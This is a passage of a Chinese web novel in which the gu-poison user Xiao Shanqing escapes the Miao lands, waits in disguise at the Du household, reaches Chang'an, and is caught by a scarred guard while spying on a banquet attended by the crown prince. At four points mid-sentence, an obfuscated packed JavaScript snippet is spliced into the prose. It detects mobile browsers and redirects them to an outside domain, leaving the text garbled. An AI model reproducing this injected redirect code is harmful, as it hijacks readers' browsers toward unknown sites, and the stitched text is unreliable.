晓山青并不在意自己的手被推开了,只把水囊递还给了宋寅。她低头吹了一声哨,周围的林子里骤然响起窸窸窣窣的动静,向他们休息的位置聚拢而来。几条墨色的小蛇自下方的草丛中游出,乖巧地攀到了她的黑衣之上。 林子还在诡异地抖动,似乎还有什么东西没有出来。她低头摸了摸蛇,又把蛇放了回去,随后拍了拍手。这动静才突兀地消失了,只余下风吹动树叶的声音。 “你身上可还有什么联络你们自己人的手段?” “没有了,”宋寅的脸上难得露出了窘迫的表情,“最后一支鸣镝用在了与小姐失散的时候。” “那我们得抓紧时间了。要继续往前,直到找到你口中接应的人手。”晓山青耸耸肩。 “但从现在开始,要你们走在前面。” “我们苗人有一个传说。”她的声音融在了渐起的风中,叫宋寅愣在了原地,“生苗不出疆,苗疆的人永远走不出这片土地。” “如果我走在前面,我们一辈子都找不到正确的方向。”她淡淡地继续说道,“但你们不一样,山神娘娘会给迷路的外乡人指一条生路。走吧,接下来的路没有那么难走了。” 宋寅点了点头,重新把陆瑶光放到了背上。 那轻微的声响又开始从四面八方的黑暗里渗透出来,夹杂在枯枝被他踩断的脆响里。 但现在没有那个拿着苗刀给他们开路的少女了。她再一次躲进了树的阴影里,就像她来时那样。他听不见她的脚步声,若是他不回头,他甚至无法分辨少女是否还在那里。 不知走了多久,脚下的路径好像逐渐清晰起来。 夜色慢慢合围了过来。当宋寅抬头看到眼前闪烁的火光时,几乎不敢相信自己的眼睛。 “那是……”他简直难以置信,“那是杜家的人吗?我们走出去了吗?” “阿青姑娘,阿青姑娘?” 他骤然回头去看身后的少女,发现她也惊愕地站在原地。 “真就这么简单?”他听到她喃喃道。 “……什么?”他下意识问道。 但在一片向他们涌过来的嘈杂声中,他没有等到回答。 “宋寅!是你吗?宋寅?” “找到表小姐了!找到表小姐了!快过来!这里!” “……来人!快来人!你,还有你,把马车赶到这边来!” 喧嚣声与火把一起朝这个方向靠过来。刺目的火光里,他看到她忽然警惕了起来。 像一只被惊醒的小兽。火光在她漆黑的眼睛里跳跃,晓山青慢慢地后退,藏进了浓郁的黑暗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488519|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他想要张口,却看到她朝他竖起了一根手指。 “嘘。”她说。 少女的身形居然就这几息之间融进了夜色的拥抱中,如同一抹轻幽的魂灵。 * 梦里的陆瑶光最后被谢歧带出苗疆的时候,大概不会这么狼狈。晓山青想。 是她动手推快了梦的节奏,于是才有了宋寅携陆瑶光连夜出逃。 如果没有她,陆瑶光大概还是那个干干净净的长安贵女。被人接出苗疆时,她应当还有力气扑到亲人的怀里好好地哭一哭——至少不该是现在这副奄奄一息的模样。 她看着陆瑶光被裹进柔软干净的毯子里,有人叫来了壮实的仆妇。那妇人匆匆忙忙地把她抱起来,送进了一辆仓促赶来的马车。有热水送了进去,不一会儿那妇人又跑下马车来,惊骇地对管事的男子比划。 说话声远远地飘来,晓山青能听到她在描述陆瑶光脖子上的指印,还有身上被谢歧摔出来的淤青。她大概也能猜到——在暴怒之中的谢歧可不会收敛把陆瑶光掼在地上时的力气。 人越来越多了。 宋寅就站在外围。有人在和他说话,有人在拍他的肩膀,但他看上去有些心不在焉,时不时地环顾四周,像是在找些什么。 晓山青当然知道他在找什么。但她始终没有踏进火光的范围。 事实上,她既不打算出现,也不打算带着“救命恩人”的身份登门杜府。她是和宋寅做了一个小交易。但她已完成了她承诺的那部分,并不需要这样一个身份来给自己带来新的麻烦。 接下来,她只要像影子一样悄悄跟上去——跟上去,然后去抓住这场属于她的东风。 今夜是个良夜。 她抬头仰望天空。 不管怎么样,她可以睡在一个能遮风挡雨的屋檐下,也不用再担心谢歧会不会追上来了。 阿爹不会放任这么一个危险的、无法被控制的东西走出苗疆的。她想。 * 暗室之中。 红泥药炉与他们往日惯用的药碗已被收了起来,四四方方的小桌也被撤走,原本两人面对面盘坐的地方,放上了一个圆圆的木桶。桶里翻滚着浓厚、黏腻的药水,满室都是药水刺鼻的腥味。 一只手死死扣桶的边缘。手的主人像是承受着莫大的痛苦,攥着拳,连带着手臂上的青筋都微微鼓起。 他仰头抵在桶壁上,下唇已被咬得一片煞白。 随着药力渗入身体,蛊的活动越发剧烈,恐怖的变化正在他看似完好的皮肤下发生。谢歧觉得自己不过是一团烂泥,被那半块鬼车卵强行唤醒的蛊正在他的血管里疯狂流窜,报复般把他的身体啃噬得更加千疮百孔。 疼痛带走了他的全部心神。他的脸上一片空白,似乎全然没意识到自己正在含混不清地重复着一个单调的音节。 “……阿青。” “阿青、阿青、阿青、阿青、阿青、阿青、阿青、阿青………” 好像她正坐在他对面,托着腮,笑吟吟地看着他、反复咀嚼着他的痛苦一样。 18. 山鬼 晓山青换上了一条新的罗裙。 她鲜少穿这样鲜亮活泼的鹅黄色,因此感到有些新奇。 揽镜自照,镜中倒映出的是一寻常汉家少女。细头簪,双螺髻,耳边坠着一对小小的珍珠耳铛,除却眉间的花钿点的略有些歪了,似乎与旁的姑娘并没什么区别。 明亮的日光从窗绢破损的角落漏了进来。细细的尘埃在光里旋转,晓山青也顺着这束光的方向从里往外望去。 远处是一重又一重的曲折长廊,修竹与古木环绕,其中隐约露出屋舍飞起的檐角。有年轻的婢女领着郎中从长廊走过,脚步匆匆地走向前方那座精致的小楼,也有人捧着水盆与热腾腾的汤药穿行其间。她们刻意地放轻了脚步,但又免不了在彼此擦肩而过时交换一个眼神,或者停下来轻轻地说上那么几句话。 有风托着这些切切的私语来到这间偏僻的屋子。于是晓山青凝神听了听,越听越觉得有些好笑。 “……阿青姑娘?”碧纱屏后的人影伸手扣了扣屏风的边缘。 晓山青放下了手里的铜镜,漫不经心地绕过了屏风,站到了宋寅面前。 “你可听到了她们在说什么吗?” 她像一只歪着头看人的鸟雀一样打量着他:“她们说陆姑娘被人从山匪窝里救出来啦!” “你猜是谁救出来的?”她兴致勃勃地学着那些婢女压低声音交谈的样子,学得惟妙惟肖:“哎呀呀,哎呀呀,是杜家二郎!他亲自带人剿灭了山匪,将妹妹毫发无伤地救了回来!” 宋寅尴尬地摸了摸鼻子:“阿青姑娘说笑了,事关小姐声誉,杜家才出此应对之策。杜二郎是清正君子,他以名声担保小姐无恙……杜家已是尽全力维护了。” “这有什么,”晓山青哼道,“便是有恙,山高路远,也传不进长安。等她回了长安,自去过她的快活日子,又能怎样?” “……”宋寅生硬地转移话题:“这身衣裙很适合阿青姑娘。” “你是想说,我现在看上去更像个汉人了?” “……是。” 立在他面前的少女收了往日惯用的银饰,换上了杜府婢女的装束。若不是宋寅一路跟着她从那苍莽的山林里走了出来,他决计不会相信这眼前的少女浑身上下都藏着苗疆的毒物。 晓山青笑了。 她举起了刚刚从妆匣随手捞来的小扇,从扇面下探出了一双弯弯的笑眼:“我没有与你讲过我阿娘是中原人吗” “她不仅是个中原人,她还是个美人。”她抿着唇,笑嘻嘻地说,“我虽没亲眼见过阿娘的模样,但我年幼时见过阿爹给阿娘描的小像……我的眼睛生得与我阿娘最像!” 她确实有着一双很美的眼睛。明亮又灵动,笑时像含着能溺死人的蜜糖,不笑时又像盛着深秋最冷的霜。 宋寅莫名在这短暂的一息里有些失神——他有在哪里见过这么一双眼睛吗? 是在哪儿呢?长安吗? 兴云阁?百会楼?五街十二坊,天上明玉堂? 他还想再细细地想下去,但这把小扇已带着一股清甜的香气扑到了他面前,在他眼前轻轻一扇。 原来她身上是有香气的。他不由自主地想到。 他原以为她会更像洛神山鬼——这般饮风食露、能融化于这天地之间的精怪。但他又忽然发觉这香气并非是来自于她的手,而是来自于她手中这把的小扇。 这屋子的主人原是杜府一个不受宠的庶小姐,几年前已被远嫁。因这小园位置偏僻,无人往来,屋子便也慢慢地闲置了下来。寒来暑往,窗绢被虫啃噬出了小洞,妆匣与铜镜也蒙上了灰尘。但房间仍然有股脂粉的甜香,昭示着这里住过一位青春年少的少女。 如今晓山青自由自在地摇着这把主人家遗留在此处的小扇,手上也自然而然染上了这点靡靡的余香。 “姑娘想去长安?”宋寅忽然问道。 “嗯?”晓山青奇道,“怎么,你想毁约不成?” “不。”对面那个年轻人像是陷入了一种复杂的、深沉的思绪,他忽然没头没尾地说了一句话:“我只是觉得……姑娘好像本就该在长安。” 在长安。在梨花暖香之中。在连枝宫灯璀璨的流光之间。在高高的墙、朱色的大门、长长的白玉台阶之上。 她似乎本就该在高台之上。就像一滴雨水本就应当流入小溪,然后汇入河流。 ——宋寅的脑海里忽然闪过这样的想法。 但对于晓山青来讲,她并不是很想知道宋寅到底想到了什么。 她当然看得出他还想再解释一点什么,但她已经不耐烦听下去了。她的耐心本就不多。尤其在一些她并不感兴趣的事情上,岂止是不多,简直称得上很少。 因此她懒洋洋地截断了这个话题:“停,我要的东西呢?” “在这里。”被打断的宋寅并不生气,转身递过来一个双层油布缝制的包裹,“里面有火石,盐,茶饼,银票,几套方便赶路的衣裳,还有够吃十来日的干粮。” 他又递过来一顶宽檐的、带着一圈垂帷的黑色斗笠:“还有帷帽。” 晓山青接过这顶帽子,等着他递过来最重要的东西。然而等了半晌,宋寅还没有动作,她忍不住催促道:“还有呢?” “还有你要的路引……”宋寅顿了顿,“假路引还需要几日才能办好。” 晓山青瞪圆了眼睛:“还有几日?几日?几日到底是几日?” “……三日,至少还要三日。”宋寅低声道,“我们这样的身份是需要……这个,但也没办法即刻变出这样东西来。更何况假路引还需仿造官府校验的章。” “你去偷一个来不就成了吗?杜二郎的书房里不就有许许多多的章吗?”她那双明亮的眼睛就这样带着满满的狐疑地看着他,“石头的,玉的,木头的。” 此刻她又变得像一个没什么城府、也没什么危险的孩子了。她说得理直气壮,因为过于理所当然,甚至还让人觉得她还有一些可爱的、接近于“不谙世事”的天真。 “……杜公子确实是在官府当差,他的书房里也确实有些私章。”宋寅解释道,“但为官者最忌公私混为一谈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488520|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜二公子平日里办差的公文与官印必定放在公府,由专人看守。” “哦?那你们真的还能……仿造公章?”她似笑非笑道。 “奇淫巧技罢了,不足一提……不过要委屈姑娘要在杜府中扮作婢女,多呆些时日。” “……在杜府蹭吃蹭喝倒也没有委屈到我。”晓山青理了理衣袖,“这个地方很少有人来。便是有人来了,我也有法子对付。” “哦,陆姑娘的病怎么样了?”她忽然想起了那些被婢女急匆匆带进远处的小楼、又一一被客气地送出来的郎中,“还是不见好转吗?” “还是不见好,依旧是反复高热,梦中多惊。”提到这个话题,宋寅又蹙起了眉头,“有一个老游医说,小姐此次大病是因为弄碎了随身的墨玉,没有墨玉护心,中了心邪。” “……什么什么什么心邪?” 晓山青沉默了一会儿,“你不如直说是被谢歧吓的。” 那一日陆瑶光虽被宋寅救了下来,却好似将魂魄遗落在了那里。从离开寨子时起,她便一直处于一触即溃的状态,而晓山青找到他们的那一日夜晚,她身上已是忽冷忽热,昏昏沉沉。杜府延请名医,又寻了无数郎中与游医,用了无数个方子,依旧不见效果。直至今日,又是足足三日了。 在她曾经的梦里,陆瑶光可没有经历过这场大病。不,不如说梦里的那个陆瑶光从头到尾都没有受到什么伤害。 从被暗卫护着逃出山匪的据点,到与暗卫失散在林子,再到被出门办事的谢歧所救,她简直是毫发无伤。如果不是陆瑶光真的就这样“完整”地出现在了眼前,晓山青绝不会把这个梦当真。 而在陆瑶光出现在她面前的那一刻,她就开始推想、揣测、忖度。 她把“谢歧”和“陆瑶光”当做棋子摆弄。她冷冰冰地审视。她来回衡量。 但直到此刻——直到此刻她才惊觉陆瑶光真的是陆瑶光。 她是真实的,有血有肉的。 她是会哭泣的。 晓山青无法对岩石、枯骨与腐肉生出任何怜悯,但她永远会对浑身血淋淋地、对着天空发出第一声啼哭的雏鸟抱有柔软的心肠。 “她会好的。” 于是晓山青轻描淡写说道:“是杜府请来的郎中医术不精,诊不出苗疆的瘴毒罢了。” “陆姑娘身弱,才有林瘴趁虚而入,如今既然已到了杜府,再拿水米多精养几日,不必用药,瘴毒自会慢慢解了。” “若是你还是放心不下,今日入夜我再去看看她。”她慢慢摇起了那把罗扇,“我不比他们懂医,但他们也不比我会用毒。” “我阿爹常说有一句话叫做医毒不分家,或许也有些道理吧。” 她提起了裙子,又绕过了屏风,把宋寅一个人丢在了原地。 再过三日,她就与陆瑶光彻底分道扬镳了。这个以陆瑶光为主角开展的故事将会彻底与晓山青脱开关系,此后她既不会再关心、也不会再利用这个名字。 她只想在长安找到她的阿娘,然后告诉阿娘,有人要伤害她。 19. 长安 “阿伯,前面还有多远才到长安城嘛?” 驴车上的少女探出一个脑袋来,操着一口很不熟练的官话,比比划划地问道。 她抱膝坐在一筐筐新鲜的果蔬之间,头发上包着一条灰扑扑的、看不出什么颜色的头巾,怀里抱着一顶黑色的帷帽和一个包裹。 她穿得单薄极了,一条暗色的夏裙,外面罩了一件掺了棉絮的夹袄。秋末的风吹在她身上,冷得她打了寒颤,抱着胳膊又往两个竹筐之间缩了缩。 “快喽,快喽。再有两三个时辰,午时前必能进城门。”赶车的老阿伯得意地觑了一眼前面那头健壮的小毛驴,“我们主人家是长安城里顶顶有名的举人老爷,守城门的差爷向来不会为难我们。” 晓山青点点头,又想到前面的阿伯看不到她的点头,赶紧出声:“哦,好,麻烦阿伯了。” “不麻烦,不麻烦。”驴车顺着官道边缘“嘚嘚”地前进,阿伯笑呵呵道,“姑娘给的报酬太多了,若不是还能顺路送一送姑娘,我们家里人可要心里难安。” 她给的报酬确实很多。 一匹精疲力竭的老马,虽不能杀了吃肉,但也能抵得上三匹布,一斗栗米。若是这户人家再辛勤一些,每日割些马草让它好好地养上一养,这马未必不能换上一把铁犁,一匹漂亮的丝绢,然后再给他家待嫁的姑娘舔上一朵漂亮的珠花。 而她仅仅要了几口饭食,与她身上这件夹袄。 此时天才蒙蒙亮,官道上没有什么车马,他们这辆小驴车依旧不敢走在黄土路的中央,只沿着官道边缘小心翼翼地前进。 偶尔有一人一骑从远处而来,黑甲上的寒光一闪,在一片烟尘中绝尘而去。 “这是平州来的信使。”老伯把车停住路边避让的时候道。 “平州?” “又要入冬了,那些契丹蛮子必会挑这个时间南下,好掠夺我们的猪羊过冬。”老伯哼了一声。 “契丹人是年年都来吗?”晓山青问。 “姑娘不必害怕,平州还离这里远着呢。”老伯笑道,“圣上贤明,我朝又是养精蓄锐,厉兵秣马,此番必能将他们打得有来无回。” 晓山青也跟着笑了笑:“圣上确实是贤……” 话音还未落,前方忽然传来了马蹄声。地面好像震动了起来,像是有一场骤雨,一场飓风卷过。 晓山青猛地直起身子来,悄悄把手按在了腰间。 官路尽头有烟尘腾起,仿佛黄龙翻滚。 有一匹如白玉一般的白马当先抢出,白马银鞍之上,是一个面如冠玉的少年。剑柄上的红绸还在随风飘荡,他一面大笑着勒马一面回望,额间的墨色锦带在阳光下闪闪发光。 “含章今日怎么这么慢?可是没用朝食,没了打马的力气?” 接着第二骑、第三骑跟着冲来,马上均是英姿勃发的少年,腰配长剑,背负弯弓。又有侍从追来,皆是弓马齐全,牵黄擎苍。 有人大声回应他:“涉川,涉川!可莫要自说自话了!乾坤未定,今日拔得头筹的还未必是你!” 这一行人就这样互相呼喊着名号,哄笑着呼啸而去,像一团彩色的云霞飞过,只留下漫天未散的尘土。 等他们的背影全然消失在官道上,阿伯才慢慢地把驴车往路面上赶。 “……看着不像寻常富家子弟。”晓山青低声道。 晓山青认不出那些幡旗上的云纹,但她也能看出他们的锦袍价格不菲。更何况他们带的猎鹰看上去那么漂亮,身姿挺拔,目如闪电,顾盼之间神采飞扬。 但她也只是来得及仓皇看上那么一眼,就低伏着身子,躲到了竹筐之间。 她似乎被居高临下地瞥了一眼,但这一瞥很快就从她头顶掠过去了。看她的人似乎只是不满于她贸然的凝视,但大度地未与她计较。 晓山青眯着眼睛看向他们留下的烟尘,一边安抚着怀里的白仙,一边抽出一只手凭空指了指他们:“……长安也有纨绔子弟?” “哎呀呀,什么子呀弟呀……”阿伯道,“那些可都是侯府王府里的公子,都是天生的贵人,贵人!” “……怎么不算纨绔子弟了?”晓山青哼哼。 平州战事要起,又正值农忙时节,还有闲去呼朋唤友地打猎,就算不是纨绔子弟,那也是富贵闲人。 老阿伯“哎呦哎呦”地连道了几声罪过,又回头瞪了她一眼:“你一个娇滴滴的小姑娘还是莫要逞这些口舌之能,若是一个不好,叫有心之人给听见了,那些贵人不得剥了你的皮!” 她倒确实剥过人皮,不过是别人的皮。 这一路上遇到过几家黑店,几个心怀不轨之徒,晓山青都请他们吃了一点苦头。也不多,不过是用剥皮蛊让他们尝尝皮肤一点从身上剥离的感觉罢了。 可如果是有人要剥她的皮…… 晓山青忍不住笑了起来。 “那些贵人要我的皮做什么?我的皮薄得很,还不如羊皮、马皮好用。” 驴车又晃晃悠悠地驶在路上了,这回阿伯没瞪她,只是摇了摇头:“贵人们的消遣多着呢,前朝不是还有什么美人鼓、美人扇吗。姑娘是为了寻亲来的长安,还是莫要多生事端好。” * 他们这般升斗小民与贵人出入的自然不是同一个城门。 阿伯把驴车赶到了延平门,城门口正排着长长的队。 有人赶着城外收来的猪,愁眉苦脸地数着腰间钱袋里的铜板。有能干的妇人带着一串的孩子,胸前挂着一个,身后背着一个,手上还牵着两个,似乎是要进城探什么亲。还有高鼻深目的胡人,带着载满绸缎与香料的驼车,正用着生硬的官话与城门口的人叙旧。 空气显然是不好闻的。猪羊的膻燥、牲畜的粪便味与旁边食摊上与胡饼热烘烘的香气混杂在一起,变成了一种浓郁又呛鼻的味道,沉甸甸的,直让人喘不过气来。 晓山青看着城门之上从右到左、由黑漆描的“延平门”三个大字,实在有些难以置信。 眼前的城墙确实很高,上面也有几队威风的甲士在巡逻。赤红的旌旗在风中舒卷,似乎也颇有几分凛凛的气势。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488521|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那青石铺成、能让数辆马车并行的大路呢?可以依依送别的长亭古道呢?据说吹起来很柔和、很让人想流泪的拂面清风呢? 这一切好像与她梦中那个长安、与陆瑶光讲给她的长安,都有些不一样啊? ……风卷起了一撮黄土。 晓山青确实咳得眼角闪出了一点泪花。 浪潮似的喧嚣声夹杂着千百种气味,劈头盖脸地将她这外乡人淹没。在这片声浪里,她的心里开始回响起一个声音,有点像质问,又有点像单纯的疑惑。 这也是长安吗?这也是长安吗?她问自己。 这里好像也是长安——那天底下还有两个长安不成? * 待守城的卫兵慢吞吞地校验完两人的身份,反复盘问了籍贯、来由,还挑开驴车上盖着的茅草翻检了片刻之后,日头已明晃晃地挂在天空正中。阿伯将晓山青放在了路边,就急匆匆地赶着驴车往士人居住的开明坊去了。 抱着包裹的晓山青就这样蹲在市廛的墙根下,显得有些可怜兮兮。 “来来来,都让一让,都让一让!” 有人赶着牲口匆匆忙忙地往这个方向来了。似乎嫌弃她站的位置占了路,还有点蛮横地瞪了她一眼。 “……哎呀,借过,借过!可要当心喽,刚烫好的酒!” 那个当垆卖酒的圆脸小妇人游鱼一样穿梭于酒客之间,眼旁的褶子像一朵温柔的花。 当然她压根没有对着晓山青笑。 ……好吧,她也觉得自己不像是那种会有余钱走进来打酒的客人! 等她有了闲又有了钱,必然也要大方地在往桌上拍上一串铜板,然后拍着自己肚皮大声嚷嚷“劳烦姐姐替我热上一碗酒来,再切上几两的好羊肉!”。 晓山青自觉地抱着包裹站得远了一些,不再挡在酒垆的门口。 蒸笼揭开后白茫茫的水汽腾空而起,蒸糕的甜香和烤饼的焦香顺着水汽一起飘散过来,钻进鼻尖。远处有人在卖力地叫卖:“白糖糕!松子糕!新出炉子的糯米糍!西市张记,顶顶好的点心!” 忽然有几个总角孩童追逐打闹着朝她撞来。晓山青灵巧地往外滑了一步,擦着衣角躲开了这一下。 没撞到人的几个孩子面面相觑,有些不忿地抬头看了她一眼,忽地猴子一样钻入了人群,眨眼间就不见了踪影。 晓山青轻轻地吹了一声口哨安抚住了身上乱动的虫蛇,又举起了怀里的钱袋,得意地朝他们跑走的方向晃了晃。 她忽然高兴起来。 “……这里就是长安!” 她没有走错了路,她只是走进了一个不一样的长安! 某个正与她擦肩而过的行人忽然听到这少女说了一句什么,奇怪地抬眼望了过去。 “这里不是长安,还能是哪儿?”他刚想骂骂咧咧地说上这么一句,却发现一恍神的功夫,他已寻不到刚刚那个背影了。 人群涌动。 刚刚还呆呆地站在那里的少女已经走入了人流之中。像一滴雨水流入了小溪,汇入了江河。 20. 芙蓉 秋风生渭水,落叶满长安。 一片金黄的叶子打着卷儿落下,扑入了树下厚厚的落叶堆中。 一条很风雅的小溪弯弯曲曲地流向亭子,溪旁栽种的木芙蓉正开着团团的花朵。 一阵风吹来,亭子四周的青帐在风中轻盈地鼓动起来,仿佛云间仙子垂落的广袖。 晓山青穿过了太平坊与开明坊,趁着暮色来到了这个叫芙蓉园的私邸。 此处是芙蓉园的后园。主人家正在前面临水的轩榭里设宴,因此少有仆役出现在此地。有笙箫隐约穿廊而来,偶有二三婢女步履匆匆地提着灯穿过月洞门。罗裙拂过石阶发出轻微的细响,反倒衬得四下更加静了。 晓山青从园子的西南角悄无声息地翻墙而入时已是华灯初上的时候。天色已暗,她仗着夜色掩护,越发得肆无忌惮了起来。眼下她正一边往嘴里塞着亭子里顺来的糕点,一边旁若无人地在后园闲逛。 她进不去前园。赴此宴的客人非富即贵,不仅赴宴的名单已经过重重筛选,宴席周围也守卫森严。晓山青试了又试,既然无法像在荆州时那般扮作杜府婢女,也没办法伪装成敲门求食的乞儿——无论怎么样,她都绕不开那些藏在各处的隐晦目光。 不过一个人进不去的地方,一条蛇未必进不去。 晓山青蹲在溪畔的柳树下,从袖子里面放出了白仙。 自从出了苗疆,这一路来实在没有太多用的上白仙的地方,而赶路时有一条白蛇盘在她的颈上也委实太打眼了一些。于是晓山青便把她的蛇蛊连带着白仙一起收进了袖袋里。两个月来,白仙呆在方寸之地,越发地懒了起来,常常一睡便是四五日,醒时便等着晓山青投食,全忘了一条蛇本该有的样子。如今头一遭被放出来,它似乎还兴奋了起来,竖着身子眼巴巴地盯着晓山青,期待着她从哪里掏出什么活食来。 “走,到你干活的时候了。”晓山青点了点白仙的脑袋道,“你去前面亮堂的地方看一眼阿娘在不在这处。” 白仙显然没搞明白她要干什么,盘在她腕上一动不动,只用一双黑豆似的小眼睛定定地看着她。 “去呀。”晓山青催促道,“顺着水过去,小心些。” 白仙不满地甩了甩尾巴,还是不动。 “……哦,我忘了,你自打从蛋壳里被我孵出来的时候就没见过咱阿娘。” 晓山青抓了抓头发,把白仙捧到了面前,继续跟它大眼瞪小眼,“但是你忘了,我也没见过。” “你先去帮我探探路,我偏偏不信,这世间哪有没有什么密不透风的地方。”她想了想,又叮嘱道,“当心些,长安可不是苗疆,可别一不留神就被人抓了去,我可上哪儿救你去?等我找着了你,你恐怕已经成了一道蛇羹。” 白仙与她僵持了一会儿,还是认命般地扭动身体,勉勉强强从她的手腕上滑了下去。 细长的蛇影在那些芳草与奇石之间闪过,静默地滑进了那道曲折的溪流,潜入了水流深处。 晓山青遥遥地望着小溪的上游,那个灯火通明、恍若白昼的水榭。那里的烛火是那么明亮,似乎能将周遭的夜色逼退几分。婢女纤柔的身影被投落在长长的帘幔与屏风之上,有人在斟酒,有人在布菜,有人如影子一般幽静地站着,像一尊美丽的花瓶。在她看不清的角落里,似乎还坐着几个乐师,指尖拨弄着古琴,轻而悠远的乐声就这样在夜色里如涟漪般慢慢荡开。 太亮了。晓山青微笑起来。在那么美、那么亮的灯火之中,还有谁会注意脚下,注意花木下的阴影,注意那在夜色中潺潺地流动着的小溪呢? 白仙很快就完全消失在了她的视线里。 身后传来了轻快的脚步声,有婢女捧着装着清茶与醒酒汤的漆盘走来。晓山青翻身跳到了一棵溪水边的柳树上,等着她们像其他婢女一样目不斜视地从树下走过。 可偏偏有一个生着一双杏眼的婢女悄悄放慢了脚步,左右瞧了瞧,拉住了一个相好的小姐妹,就在柳树下停了下来。 “……好姐姐,你今日可瞧见了太子殿下了没有?当真是龙章凤姿,非我们这等凡尘俗世中人可直视的。”杏眼的婢女低声道。 与她相好的小姐妹也压着嗓子道:“我哪儿有你那样的胆子!只敢远远地瞧上一眼,正看见太子殿下正与昭宁长公主殿下说话。” “今日是什么日子,咱们大人怎么就请来了这两位顶顶尊贵的贵人!”杏眼的婢女叹道。 “……我倒是隐隐约约听说了一些,你可记得那日我奉冯姑姑的令去给大公子送茶点?恰好大人也在,我听大人的意思……”那声音更低了,像是在空中轻轻晃荡的蛛丝,“似是长公主与太子殿下正为朝堂之上的事情争执得厉害,让圣人都动了气。咱们大人愁得很,此次特意在芙蓉园做东,又请了张御史张大人、户部的王大人、大理寺卿洪大人几位大人作陪,正是要在姑侄之间转圜说和呢。” “可我瞧着太子殿下与长公主殿下今日言笑晏晏,相谈正欢,并未……” 两人的私语很快被打断了。 有一个面色严肃的姑姑朝她们走来。两个小婢女俱是噤了声,低着头朝姑姑伏了伏身。 “冯姑姑好。” “冯姑姑好。” 好在这位冯姑姑并未斥责她们偷闲,只是看了看她们手中的漆盘,嘱咐她们快些带着清茶与醒酒汤过去。 两人连声应喏,端着盘子急匆匆地向前园方向小步跑去。 等这两人走远,蹲在柳树上的晓山青才慢慢松下一口气来。 她来的地方确实没错,只不过太子也在这里罢了。 一国储君出行,有东宫侍卫相随,暗中也必有高手保护——水榭周围的防卫便可见一般了。她能混进后园,委实是运气过于好了。 ……她的运气真的有那么好吗? 晓山青的心里升起了一丝犹疑。 她忽然捕捉到了另一道轻得几乎无法听见的呼吸声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488522|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这黑暗之中不只她一人,有人在看着她——就在她身后极近的地方! 晓山青慢慢地转身,一把匕首已然无声无息地横在了她颈侧,刃口冰凉刺骨,紧贴着她的皮肤。 “……说,你是谁派来的?”那人用粗糙到像是在砂砾里滚过一遍的声音问到。 晓山青的眼力一向很好。她能在苗疆的黑夜里赶路,是因为以她的眼力能看到黑暗中绝大多数旁人看不见的东西。 啊,这个绝大多数东西之中,并不包含“鬼”这种存在。 但眼前这个人,确实让她分不清他到底是人还是鬼。 他像宋寅一眼以黑巾蒙面,但晓山青依旧能看清他露出来的那半边脸上密密麻麻、扭曲狰狞的疤痕。彷佛大火燎过一般,没有眉毛,没有头发,没有睫毛,只有那一双黑洞洞的眼睛,毫无生气地、死水一般地盯着她。 见她不回答,那匕首又微微地向前逼近了一点,在她的脖子上留下了一道血线。 “……我自己来的。”晓山青不得不开口。 但这显然不是那鬼……那人想要的答案。 他一声不吭,几乎是用一种冷酷的姿态表明了他的态度——他把匕首又逼近了一点。 “真的是我自己来的,从外面那棵歪脖子树那里跳进来的!”晓山青闭着眼睛大声道:“那些劳什子的张大人、王大人、洪大人,我一个都不认识!” “但是,太子殿下,太子殿下他……”她忽地停了下来。像是承受了什么巨大的痛苦一样,后半句话就这样硬生生卡在了喉咙里。 这拙劣的、骗不到任何人的演技。鬼面人冷冷地看着她,握刀的手稳如磐石。 她还在那里假装着开不了口,眼神越来越惊恐,越来越惊恐,她忽然张嘴干呕了一下——一只猩红的甲虫就这样出现在了她的舌底。 那是……什么? 根本没有任何能够思考的间隙,那甲虫甲虫已经骤然暴起,撞向了他的面门。几乎是同时,大火烧灼般的剧痛已经从碰撞的地方泛起,蔓延到了他的脸,然后是头颅,继续往下,往下……几个呼吸之间,疼痛已经擒住了他的心脏。 尽管他竭力把匕首向前一送,那个少女已经后仰,如柳条般向后一折——匕首寒光一闪,不过把她抛过来的帷帽切成了两半。 